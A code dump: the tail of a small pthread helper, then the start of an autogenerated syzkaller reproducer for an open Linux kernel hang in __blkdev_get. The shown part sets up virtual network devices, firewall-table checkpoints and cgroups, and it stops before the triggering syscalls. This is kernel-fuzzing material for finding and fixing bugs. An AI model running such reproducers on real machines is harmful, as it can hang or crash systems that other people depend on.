if (s != 0)
pthread_pexit(s, "pthread_mutex_lock");
if (!control->initialized) {
(*init_function)();
control->initialized = TRUE;
}
s = pthread_mutex_unlock(&control->lock);
if (s != 0)
pthread_pexit(s, "pthread_mutex_unlock");
return 0;
}
static void
pexit(const char *fCall) {
perror(fCall);
exit(EXIT_FAILURE);
}
static void
pthread_pexit(int err, const char *fCall) {
errno = err;
pexit(fCall);
}
|
the_stack_data/499878.c | // INFO: task hung in __blkdev_get
// https://syzkaller.appspot.com/bug?id=a4c5047f5d2a897e807c81ef4e02715bb57f548f
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) &&
(addr < prog_start || addr > prog_end)) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static struct {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
} nlmsg;
static void netlink_init(int typ, int flags, const void* data, int size)
{
memset(&nlmsg, 0, sizeof(nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg.buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg.pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(int typ, const void* data, int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg.pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg.pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg.pos;
attr->nla_type = typ;
nlmsg.pos += sizeof(*attr);
nlmsg.nested[nlmsg.nesting++] = attr;
}
static void netlink_done(void)
{
struct nlattr* attr = nlmsg.nested[--nlmsg.nesting];
attr->nla_len = nlmsg.pos - (char*)attr;
}
static int netlink_send(int sock)
{
if (nlmsg.pos > nlmsg.buf + sizeof(nlmsg.buf) || nlmsg.nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg.buf;
hdr->nlmsg_len = nlmsg.pos - nlmsg.buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg.buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg.buf, sizeof(nlmsg.buf), 0);
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static void netlink_add_device_impl(const char* type, const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr));
if (name)
netlink_attr(IFLA_IFNAME, name, strlen(name));
netlink_nest(IFLA_LINKINFO);
netlink_attr(IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(int sock, const char* type, const char* name)
{
netlink_add_device_impl(type, name);
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_add_veth(int sock, const char* name, const char* peer)
{
netlink_add_device_impl("veth", name);
netlink_nest(IFLA_INFO_DATA);
netlink_nest(VETH_INFO_PEER);
nlmsg.pos += sizeof(struct ifinfomsg);
netlink_attr(IFLA_IFNAME, peer, strlen(peer));
netlink_done();
netlink_done();
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_add_hsr(int sock, const char* name, const char* slave1,
const char* slave2)
{
netlink_add_device_impl("hsr", name);
netlink_nest(IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done();
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_device_change(int sock, const char* name, bool up,
const char* master, const void* mac,
int macsize)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
netlink_init(RTM_NEWLINK, 0, &hdr, sizeof(hdr));
netlink_attr(IFLA_IFNAME, name, strlen(name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(IFLA_ADDRESS, mac, macsize);
int err = netlink_send(sock);
(void)err;
}
static int netlink_add_addr(int sock, const char* dev, const void* addr,
int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr));
netlink_attr(IFA_LOCAL, addr, addrsize);
netlink_attr(IFA_ADDRESS, addr, addrsize);
return netlink_send(sock);
}
static void netlink_add_addr4(int sock, const char* dev, const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(int sock, const char* dev, const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
static void netlink_add_neigh(int sock, const char* name, const void* addr,
int addrsize, const void* mac, int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr));
netlink_attr(NDA_DST, addr, addrsize);
netlink_attr(NDA_LLADDR, mac, macsize);
int err = netlink_send(sock);
(void)err;
}
static int tunfd = -1;
static int tun_frags_enabled;
#define SYZ_TUN_MAX_PACKET_SIZE 1000
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
#define IFF_NAPI_FRAGS 0x0020
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI | IFF_NAPI | IFF_NAPI_FRAGS;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0)
exit(1);
}
if (ioctl(tunfd, TUNGETIFF, (void*)&ifr) < 0)
exit(1);
tun_frags_enabled = (ifr.ifr_flags & IFF_NAPI_FRAGS) != 0;
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(sock, TUN_IFACE, &in_addr, sizeof(in_addr), &macaddr,
ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(sock, TUN_IFACE, &in6_addr, sizeof(in6_addr), &macaddr,
ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN);
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
};
const char* devmasters[] = {"bridge", "bond", "team"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(sock, slave0, false, master, 0, 0);
netlink_device_change(sock, slave1, false, master, 0, 0);
}
netlink_device_change(sock, "bridge_slave_0", true, 0, 0, 0);
netlink_device_change(sock, "bridge_slave_1", true, 0, 0, 0);
netlink_add_veth(sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(sock, "hsr_slave_0", true, 0, 0, 0);
netlink_device_change(sock, "hsr_slave_1", true, 0, 0, 0);
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(sock, dev, !devtypes[i].noup, 0, &macaddr, macsize);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN)
return -1;
if (errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[SYZ_TUN_MAX_PACKET_SIZE];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1,
(uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
NONFAILING(strncpy(buf, (char*)a0, sizeof(buf) - 1));
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct ipt_get_entries entries;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct ipt_get_entries entries;
struct ipt_getinfo info;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
struct arpt_get_entries entries;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct arpt_get_entries entries;
struct arpt_getinfo info;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
socklen_t optlen;
unsigned i, j, h;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
